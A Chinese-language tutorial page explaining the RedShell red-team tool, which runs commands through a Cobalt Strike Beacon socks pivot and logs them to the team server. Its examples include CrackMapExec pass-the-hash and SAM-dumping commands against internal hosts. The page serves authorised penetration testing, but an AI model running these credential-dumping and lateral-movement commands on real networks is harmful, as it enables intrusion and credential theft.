您好,登錄后才能下訂單哦!
本篇內(nèi)容介紹了“怎么使用RedShell將命令執(zhí)行記錄在Cobalt Strike團隊服務(wù)器中”的有關(guān)知識,在實際案例的操作過程中,不少人都會遇到這樣的困境,接下來就讓小編帶領(lǐng)大家學(xué)習(xí)一下如何處理這些情況吧!希望大家仔細(xì)閱讀,能夠?qū)W有所成!
RedShell是一款交互式命令行工具,它可以幫助廣大研究人員通過proxychains(一款命令行代理神器)來執(zhí)行命令,并自動將命令執(zhí)行日志記錄在Cobalt Strike團隊服務(wù)器之中。
廣大研究人員可以使用下列命令將該項目源碼克隆至本地:
git clone https://github.com/Verizon/redshell.git
RedShell基于Python 3開發(fā),因此需要在本地主機上安裝好Python 3環(huán)境。除此之外,RedShell的運行還需要在系統(tǒng)中安裝并配置好Cobalt Strike客戶端。
安裝依賴組件:
pip3 install -r requirements.txt
安裝proxychains-ng【傳送門】:
apt install proxychains4
給agscript封裝器提供可執(zhí)行權(quán)限:
chmod +x agscript.sh
首先,我們需要在Cobalt Strike客戶端的Beacon中開啟一個socks監(jiān)聽器。
$ python3 redshell.py ____ _______ __ ____ / __ \___ ____/ / ___// /_ ___ / / / / /_/ / _ \/ __ /\__ \/ __ \/ _ \/ / / / _, _/ __/ /_/ /___/ / / / / __/ / / /_/ |_|\___/\__,_//____/_/ /_/\___/_/_/ RedShell>
RedShell> help Documented commands (use 'help -v' for verbose/'help <topic>' for details): =========================================================================== beacon_exec connect help pwd shell use_pivot cd disconnect history quit show_pivots config exit load_config set status
RedShell> set option VALUE
設(shè)置Cobalt Strike連接選項:
RedShell> set cs_host 127.0.0.1 RedShell> set cs_port 50050 RedShell> set cs_user somedude
連接至Cobalt Strike團隊服務(wù)器(此時需要輸入團隊服務(wù)器的密碼):
RedShell> connect Enter Cobalt Strike password: Connecting... ╔═══════════════════════╤═══════════════════════════════════════════════════════╗ ║ CS team server status │ Connected via somedude_redshell@127.0.0.1:50050 ║ ╟───────────────────────┼───────────────────────────────────────────────────────╢ ║ Socks port status │ Disconnected ║ ╚═══════════════════════╧═══════════════════════════════════════════════════════╝
或者,我們也可以從配置文件中加載配置信息。需要注意的是,團隊服務(wù)求的密碼是無法從配置文件中讀取的。在RedShell中輸入密碼之后,工具將會幫助我們自動跟服務(wù)器進(jìn)行連接:
$ cat config.txt cs_host=127.0.0.1 cs_port=12345 cs_user=somedude
RedShell> load_config config.txt Config applied: ╔════════════════════════════╤═══════════════════════════════════════════════════════╗ ║ Redshell install directory │ /opt/redshell ║ ╟────────────────────────────┼───────────────────────────────────────────────────────╢ ║ Proxychains config │ /opt/redshell/proxychains_redshell.conf ║ ╟────────────────────────────┼───────────────────────────────────────────────────────╢ ║ CS install directory │ /opt/cobaltstrike ║ ╟────────────────────────────┼───────────────────────────────────────────────────────╢ ║ CS team server │ 127.0.0.1 ║ ╟────────────────────────────┼───────────────────────────────────────────────────────╢ ║ CS team server port │ 50050 ║ ╟────────────────────────────┼───────────────────────────────────────────────────────╢ ║ CS user │ somedude_redshell ║ ╟────────────────────────────┼───────────────────────────────────────────────────────╢ ║ Socks port │ ║ ╟────────────────────────────┼───────────────────────────────────────────────────────╢ ║ Beacon PID │ ║ ╟────────────────────────────┼───────────────────────────────────────────────────────╢ ║ Password │ ║ ╚════════════════════════════╧═══════════════════════════════════════════════════════╝
Enter Cobalt Strike password: ╔═══════════════════════╤═══════════════════════════════════════════════════════╗ ║ CS team server status │ Connected via somedude_redshell@127.0.0.1:50050 ║ ╟───────────────────────┼───────────────────────────────────────────────────────╢ ║ Socks port status │ Disconnected ║ ╚═══════════════════════╧═══════════════════════════════════════════════════════╝
顯示可用代理:
RedShell> show_pivots ╔═════════════════════════════════════════════════════════════════════════════════════════════════════════════╗ ║ ID Alive Socks Port PID User Computer Last ║ ╠═════════════════════════════════════════════════════════════════════════════════════════════════════════════╣ ║ 1 True 22200 8948 Administrator * WS02 16ms ║ ╟─────────────────────────────────────────────────────────────────────────────────────────────────────────────╢ ║ 2 True 54212 7224 Administrator * WS03 39ms ║ ╚═════════════════════════════════════════════════════════════════════════════════════════════════════════════╝
選擇一個代理(只有當(dāng)客戶端與團隊服務(wù)器之間的連接建立成功之后才可以設(shè)置該選項):
RedShell> use_pivot 2 ╔═══════════════════════╤════════════════════════════════════════════════════════════╗ ║ CS team server status │ Connected via somedude_redshell@127.0.0.1:50050 ║ ╟───────────────────────┼────────────────────────────────────────────────────────────╢ ║ Socks port status │ Connected via socks port 54212 @ beacon PID 7224 ║ ╚═══════════════════════╧════════════════════════════════════════════════════════════╝
檢查配置信息:
RedShell> config ╔════════════════════════════╤═══════════════════════════════════════════════════════╗ ║ Redshell install directory │ /opt/redshell ║ ╟────────────────────────────┼───────────────────────────────────────────────────────╢ ║ Proxychains config │ /opt/redshell/proxychains_redshell.conf ║ ╟────────────────────────────┼───────────────────────────────────────────────────────╢ ║ CS install directory │ /opt/cobaltstrike ║ ╟────────────────────────────┼───────────────────────────────────────────────────────╢ ║ CS team server │ 127.0.0.1 ║ ╟────────────────────────────┼───────────────────────────────────────────────────────╢ ║ CS team server port │ 50050 ║ ╟────────────────────────────┼───────────────────────────────────────────────────────╢ ║ CS user │ somedude_redshell ║ ╟────────────────────────────┼───────────────────────────────────────────────────────╢ ║ Socks port │ ║ ╟────────────────────────────┼───────────────────────────────────────────────────────╢ ║ Beacon PID │ ║ ╟────────────────────────────┼───────────────────────────────────────────────────────╢ ║ Password │ ║ ╚════════════════════════════╧═══════════════════════════════════════════════════════╝
檢測運行狀態(tài):
RedShell> status ╔═══════════════════════╤════════════════════════════════════════════════════════════╗ ║ CS team server status │ Connected via somedude_redshell@127.0.0.1:50050 ║ ╟───────────────────────┼────────────────────────────────────────────────────────────╢ ║ Socks port status │ Connected via socks port 54212 @ beacon PID 7224 ║ ╚═══════════════════════╧════════════════════════════════════════════════════════════╝
命令是通過Beacon socks代理來執(zhí)行的,可以使用當(dāng)前用戶權(quán)限或sudo來執(zhí)行。所有的命令都會通過proxychains來執(zhí)行:
RedShell> beacon_exec -h usage: beacon_exec [-h] [-t TTP] ... Execute a command through proxychains/beacon socks proxy and simultaneously log it to the teamserver. positional arguments: command Command to execute through the proxy. optional arguments: -h, --help show this help message and exit -t TTP, --ttp TTP MITRE ATT&CK Tactic IDs. Comma delimited to specify multiple.
example: beacon_exec -t T1003,T1075 cme smb --local-auth -u Administrator -H C713B1D611657D0687A568122193F230 --sam 192.168.1.1 RedShell> beacon_exec cme smb 192.168.1.14 [proxychains] config file found: /etc/proxychains.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.14 [proxychains] Strict chain ... 127.0.0.1:48199 ... 192.168.1.14:445 ... OK [proxychains] Strict chain ... 127.0.0.1:48199 ... 192.168.1.14:135 ... OK [proxychains] Strict chain ... 127.0.0.1:48199 ... 192.168.1.14:445 ... OK SMB 192.168.1.14 445 TESTNET-DC1 [*] Windows Server 2008 R2 Standard 7601 Service Pack 1 x64 (name:TESTNET-DC1) (domain:TESTNET) (signing:True) (SMBv1:True)
需要注意的是,beacon_exec命令所使用的密碼中,特殊字符有可能會被解析為shell元字符,這將導(dǎo)致命令執(zhí)行失敗。為了解決這個問題,我們可以設(shè)置密碼選項,然后使用“$password”來進(jìn)行調(diào)用:
RedShell> set password Test12345 password - was: '' now: 'Test12345' RedShell> beacon_exec cme smb --local-auth -u administrator -p $password --shares 192.168.1.14
關(guān)于RedShell和CS安裝目錄選項,腳本需要知道具體的路徑,相關(guān)配置命令如下:
RedShell> set redshell_directory /opt/redshell RedShell> set cs_directory /opt/cobaltstrike
RedShell提供了下列命令來幫助研究人員查看文件系統(tǒng):
RedShell> cd /opt/redshell/ RedShell> pwd /opt/redshell
我們還可以通過shell命令或”!”短命令來查看其他可用命令:
RedShell> shell date Mon 29 Jul 2019 05:33:02 PM MDT RedShell> !date Mon 29 Jul 2019 05:33:03 PM MDT
追蹤命令執(zhí)行記錄,并查看歷史記錄:
RedShell> history 1 load_config config.txt 2 status 3 help
RedShell還提供了Tab鍵命令補全,或通過CTRL+ l組合鍵來清理終端窗口信息。
“怎么使用RedShell將命令執(zhí)行記錄在Cobalt Strike團隊服務(wù)器中”的內(nèi)容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業(yè)相關(guān)的知識可以關(guān)注億速云網(wǎng)站,小編將為大家輸出更多高質(zhì)量的實用文章!
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。